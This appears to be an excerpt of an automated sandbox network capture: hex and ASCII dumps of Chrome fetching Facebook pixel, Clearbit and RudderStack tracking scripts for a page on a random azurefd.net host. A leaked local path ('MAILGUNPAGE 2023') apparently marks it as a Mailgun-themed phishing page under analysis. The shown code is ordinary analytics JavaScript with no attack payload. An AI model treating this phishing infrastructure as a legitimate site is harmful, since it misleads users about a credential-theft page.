2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 29 7b 76 61 72 20 63 3d 61 3b 63 3d 61 2e 6d 61 74 63 68 65 73 7c 7c 63 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 63 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 63 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 63 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 63 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 63 21 3d 3d 6e 75 6c 6c 3f 63 2e 62 69 6e 64 28 61 29 28 62 29 3a 21 31 7d 6a 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6a 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 Data Ascii: ){var c=a;c=a.matches\|\|c.matchesSelector\|\|c.mozMatchesSelector\|\|c.msMatchesSelector\|\|c.oMatchesSelector\|\|c.webkitMatchesSelector\|\|null;return c!==null?c.bind(a)(b):!1}j.exports=a})();return j.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsE
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 74 72 61 63 74 46 72 6f 6d 49 6e 70 75 74 73 22 29 2c 64 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 74 72 61 63 74 50 61 67 65 46 65 61 74 75 72 65 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 76 61 72 20 65 3d 61 2e 62 75 74 74 6f 6e 2c 66 3d 61 2e 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 2c 67 3d 61 2e 62 75 74 74 6f 6e 54 65 78 74 2c 69 3d 61 2e 66 6f 72 6d 2c 6a 3d 61 2e 70 69 78 65 6c 3b 61 3d 61 2e 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3b 76 61 72 20 6b 3d 61 26 26 69 3d 3d 6e 75 6c 6c 3b 69 3d 63 28 7b 62 75 74 74 6f 6e 3a 65 2c 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3a 6b 3f 68 3a 69 Data Ascii: gnalsFBEventsExtractFromInputs"),d=f.getFbeventsModules("signalsFBEventsExtractPageFeatures");function e(a){var e=a.button,f=a.buttonFeatures,g=a.buttonText,i=a.form,j=a.pixel;a=a.shouldExtractUserData;var k=a&&i==null;i=c({button:e,containerElement:k?h:i
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 72 29 3b 69 66 28 64 2e 74 61 67 3d 3d 3d 22 69 6e 70 75 74 22 29 7b 64 2e 69 6e 70 75 74 54 79 70 65 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 3b 69 66 28 63 26 26 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 29 29 7b 63 3d 62 28 64 2c 61 29 3b 63 21 3d 6e 75 6c 6c 26 26 28 65 3d 63 29 7d 7d 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 3d 3d 3d 21 31 26 26 61 2e 76 61 6c 75 65 3d 3d 3d 22 22 26 26 28 64 2e 76 61 6c 75 65 4d 65 61 6e 69 6e 67 3d 22 65 6d 70 74 79 22 29 3b 72 65 74 75 72 6e 5b 64 2c 65 5d 7d 6b 2e 65 78 70 6f 72 74 73 3d 63 Data Ascii: r);if(d.tag==="input"){d.inputType=a.getAttribute("type");if(c&&(a instanceof HTMLInputElement\|\|a instanceof HTMLTextAreaElement)){c=b(d,a);c!=null&&(e=c)}}a instanceof HTMLButtonElement===!1&&a.value===""&&(d.valueMeaning="empty");return[d,e]}k.exports=c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49723	157.240.0.6	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	564	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:44 UTC	1498	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;script-src .fbcdn.net .facebook.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src data: blob: 'unsafe-inline' facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;connect-src .fbcdn.net .facebook.net wss://.fbcdn.net attachment.fbsbx.com blob: 'self';img-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-07-03 12:38:44 UTC	1705	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), battery=(self), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-heigh
2024-07-03 12:38:44 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-07-03 12:38:44 UTC	14599	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-07-03 12:38:44 UTC	16384	IN	Data Raw: 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 68 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 62 3d 61 2e 70 61 72 61 6d 65 74 65 72 5f 74 79 70 65 3b 61 3d 61 2e 73 65 6c 65 63 74 6f 72 3b 62 3d 64 28 62 29 3b 61 3d 61 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 61 21 3d 3d 22 22 3f 61 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 61 21 3d 6e 75 6c 6c 3f 7b 70 61 72 61 6d 65 74 65 72 5f 74 79 70 65 3a 62 2c 73 65 6c 65 63 74 6f 72 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6a Data Ascii: :null}function h(a){if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;var b=a.parameter_type;a=a.selector;b=d(b);a=a!=null&&typeof a==="string"&&a!==""?a:null;return b!=null&&a!=null?{parameter_type:b,selector:a}:null}function j
2024-07-03 12:38:44 UTC	16384	IN	Data Raw: 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 64 29 26 26 28 61 5b 64 5d 3d 63 5b 64 5d 29 7d 72 65 74 75 72 6e 20 61 7d 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 45 76 65 6e 74 56 61 6c 69 64 61 74 69 6f 6e 22 29 2c 63 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 43 6f 6e 66 69 67 53 74 6f 72 65 22 29 2c 64 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 76 65 6e 74 73 22 29 2c 65 3d 64 2e 63 6f 6e 66 69 67 4c 6f 61 64 65 64 2c 6b 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 Data Ascii: type.hasOwnProperty.call(c,d)&&(a[d]=c[d])}return a},b=f.getFbeventsModules("SignalsEventValidation"),c=f.getFbeventsModules("SignalsFBEventsConfigStore"),d=f.getFbeventsModules("SignalsFBEventsEvents"),e=d.configLoaded,k=f.getFbeventsModules("SignalsFBEv
2024-07-03 12:38:44 UTC	16384	IN	Data Raw: 68 3d 67 2e 75 6e 73 61 66 65 50 69 78 65 6c 2c 6a 3d 67 2e 75 6e 73 61 66 65 54 61 72 67 65 74 2c 6b 3d 65 28 68 2c 63 29 2c 6c 3d 6a 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 6f 64 65 3f 62 28 6a 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6b 21 3d 6e 75 6c 6c 26 26 6c 21 3d 6e 75 6c 6c 3f 5b 7b 70 69 78 65 6c 3a 6b 2c 74 61 72 67 65 74 3a 6c 7d 5d 3a 6e 75 6c 6c 7d 6c 2e 65 78 70 6f 72 74 73 3d 6e 65 77 20 61 28 67 29 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 54 69 6d 69 6e 67 73 45 76 65 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 Data Ascii: h=g.unsafePixel,j=g.unsafeTarget,k=e(h,c),l=j instanceof Node?b(j):null;return k!=null&&l!=null?[{pixel:k,target:l}]:null}l.exports=new a(g)})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsGetTimingsEvent",function(){return funct
2024-07-03 12:38:44 UTC	1784	IN	Data Raw: 77 77 2e 69 6e 73 74 61 67 72 61 6d 2e 63 6f 6d 2f 74 72 2f 22 2c 41 45 4d 5f 45 4e 44 50 4f 49 4e 54 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 2e 77 65 6c 6c 2d 6b 6e 6f 77 6e 2f 61 67 67 72 65 67 61 74 65 64 2d 65 76 65 6e 74 2d 6d 65 61 73 75 72 65 6d 65 6e 74 2f 22 2c 47 50 53 5f 45 4e 44 50 4f 49 4e 54 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 70 72 69 76 61 63 79 5f 73 61 6e 64 62 6f 78 2f 70 69 78 65 6c 2f 72 65 67 69 73 74 65 72 2f 74 72 69 67 67 65 72 2f 22 7d 3b 6a 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6a 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 Data Ascii: ww.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/"};j.exports=a})();return j.exports}(a,b,c,d)});f.ensureModuleRegistered(
2024-07-03 12:38:44 UTC	14600	IN	Data Raw: 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 21 31 3b 62 28 74 68 69 73 2e 5f 67 65 74 4f 70 74 73 28 63 29 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 66 3d 65 3d 3d 21 30 26 26 64 2e 69 73 4f 70 74 65 64 4f 75 74 28 61 2c 63 29 3b 66 7c 7c 64 2e 5f 73 65 74 4f 70 74 28 61 2c 62 2c 21 30 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 7d 2c 7b 6b 65 79 3a 22 6f 70 74 4f 75 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 62 28 74 68 69 73 2e 5f 67 65 74 4f 70 74 73 28 63 29 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 64 2e 5f 73 65 74 4f 70 74 28 61 2c 62 2c 21 31 29 7d Data Ascii: uments.length>2&&arguments[2]!==void 0?arguments[2]:!1;b(this._getOpts(c),function(b){var f=e==!0&&d.isOptedOut(a,c);f\|\|d._setOpt(a,b,!0)});return this}},{key:"optOut",value:function(a,c){var d=this;b(this._getOpts(c),function(b){return d._setOpt(a,b,!1)}
2024-07-03 12:38:45 UTC	16384	IN	Data Raw: 6e 74 22 29 3b 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 78 70 65 72 69 6d 65 6e 74 4e 61 6d 65 73 22 29 3b 62 2e 42 41 54 43 48 49 4e 47 5f 45 58 50 45 52 49 4d 45 4e 54 3b 62 2e 53 45 4e 44 5f 58 48 52 5f 45 58 50 45 52 49 4d 45 4e 54 3b 67 2e 74 6f 70 21 3d 3d 67 3b 66 75 6e 63 74 69 6f 6e 20 72 28 62 29 7b 62 2e 63 75 73 74 6f 6d 44 61 74 61 3d 61 28 7b 7d 2c 62 2e 63 75 73 74 6f 6d 44 61 74 61 29 3b 62 2e 74 69 6d 65 73 74 61 6d 70 3d 6e 65 77 20 44 61 74 65 28 29 2e 76 61 6c 75 65 4f 66 28 29 3b 76 61 72 20 66 3d 6e 75 6c 6c 3b 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 21 3d 6e 75 6c 6c 26 26 28 66 3d 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 2e 67 65 74 28 22 65 69 64 22 Data Ascii: nt");b=f.getFbeventsModules("SignalsFBEventsExperimentNames");b.BATCHING_EXPERIMENT;b.SEND_XHR_EXPERIMENT;g.top!==g;function r(b){b.customData=a({},b.customData);b.timestamp=new Date().valueOf();var f=null;b.customParams!=null&&(f=b.customParams.get("eid"
2024-07-03 12:38:45 UTC	16384	IN	Data Raw: 74 79 70 65 6f 66 20 61 3d 3d 3d 22 6e 75 6d 62 65 72 22 7c 7c 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 2f 5e 5c 64 2b 24 2f 2e 74 65 73 74 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 26 26 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 64 28 61 29 3d 3d 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 61 29 7b 72 65 74 75 72 6e 20 66 28 61 29 3d 3d 3d 21 30 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 61 29 3d 3d 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 61 29 7b 69 66 28 Data Ascii: typeof a==="number"\|\|typeof a==="string"&&/^\d+$/.test(a)}function f(a){return a!=null&&(typeof a==="undefined"?"undefined":i(a))==="object"&&d(a)===!1}function j(a){return f(a)===!0&&Object.prototype.toString.call(a)==="[object Object]"}function k(a){if(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49721	3.127.196.46	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	597	OUT	GET /v2/pk_54258638e2140e223e87c6c868ec9a93/tracking.min.js HTTP/1.1 Host: x.clearbitjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	345	IN	HTTP/1.1 403 Forbidden cache-control: private, max-age=600 content-type: application/json vary: Accept-Encoding content-length: 28 date: Wed, 03 Jul 2024 12:38:44 GMT x-envoy-response-flags: - server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff connection: close
2024-07-03 12:38:45 UTC	28	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 49 6e 76 61 6c 69 64 20 72 65 66 65 72 72 65 72 22 7d Data Ascii: {"error":"Invalid referrer"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49722	3.127.196.46	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	699	OUT	GET /v1/pk_54258638e2140e223e87c6c868ec9a93/forms.js?page_path=%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html HTTP/1.1 Host: x.clearbitjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	304	IN	HTTP/1.1 404 Not Found content-type: application/javascript;charset=utf-8 date: Wed, 03 Jul 2024 12:38:44 GMT content-length: 0 x-envoy-response-flags: - server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49725	18.239.83.17	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	589	OUT	GET /v1.1/js-integrations/GoogleTagManager.min.js HTTP/1.1 Host: cdn.rudderlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	580	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 5868 Connection: close Date: Wed, 03 Jul 2024 12:38:46 GMT Last-Modified: Mon, 01 Jul 2024 15:21:51 GMT ETag: "efd92929841bee7b87c668c11512cfda" x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 1dd177f0f1668dc5abba6f90eb9da04c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: wHmnlcjxvHHSI6pW6U5avA6yLHFKyxyGr3MXwnYzkRVJ704wV4TVCg==
2024-07-03 12:38:45 UTC	5868	IN	Data Raw: 76 61 72 20 47 6f 6f 67 6c 65 54 61 67 4d 61 6e 61 67 65 72 5f 52 53 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 28 6e 75 6c 6c 3d 3d 74 7c 7c 74 3e 65 2e 6c 65 6e 67 74 68 29 26 26 28 74 3d 65 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 6e 3d 41 72 72 61 79 28 74 29 3b 72 3c 74 3b 72 2b 2b 29 6e 5b 72 5d 3d 65 5b 72 5d 3b 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6e Data Ascii: var GoogleTagManager_RS=function(e){"use strict";function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var r=0,n=Array(t);r<t;r++)n[r]=e[r];return n}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49728	13.226.175.10	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	684	OUT	GET /v1/pk_54258638e2140e223e87c6c868ec9a93/tags.js HTTP/1.1 Host: tag.clearbitscripts.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	563	IN	HTTP/1.1 403 Forbidden Content-Type: application/javascript;charset=utf-8 Content-Length: 82 Connection: close cache-control: private, max-age=600 vary: Accept-Encoding date: Wed, 03 Jul 2024 12:38:44 GMT x-envoy-response-flags: - server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff X-Cache: Error from cloudfront Via: 1.1 92f3f87cb514c53ec6a2ae134f3e13a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP64-C3 X-Amz-Cf-Id: c7M0C_at0ws6as_Kk9iWyZ3GsqBPWrcjZ2Q313EbrT77e3si1IjTWQ==
2024-07-03 12:38:45 UTC	82	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 74 61 67 73 2e 6a 73 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 34 30 33 22 29 0a 7d 29 28 77 69 6e 64 6f 77 29 3b Data Ascii: ;(function (w) { console.error("Invalid tags.js configuration: 403")})(window);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49720	3.127.196.46	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
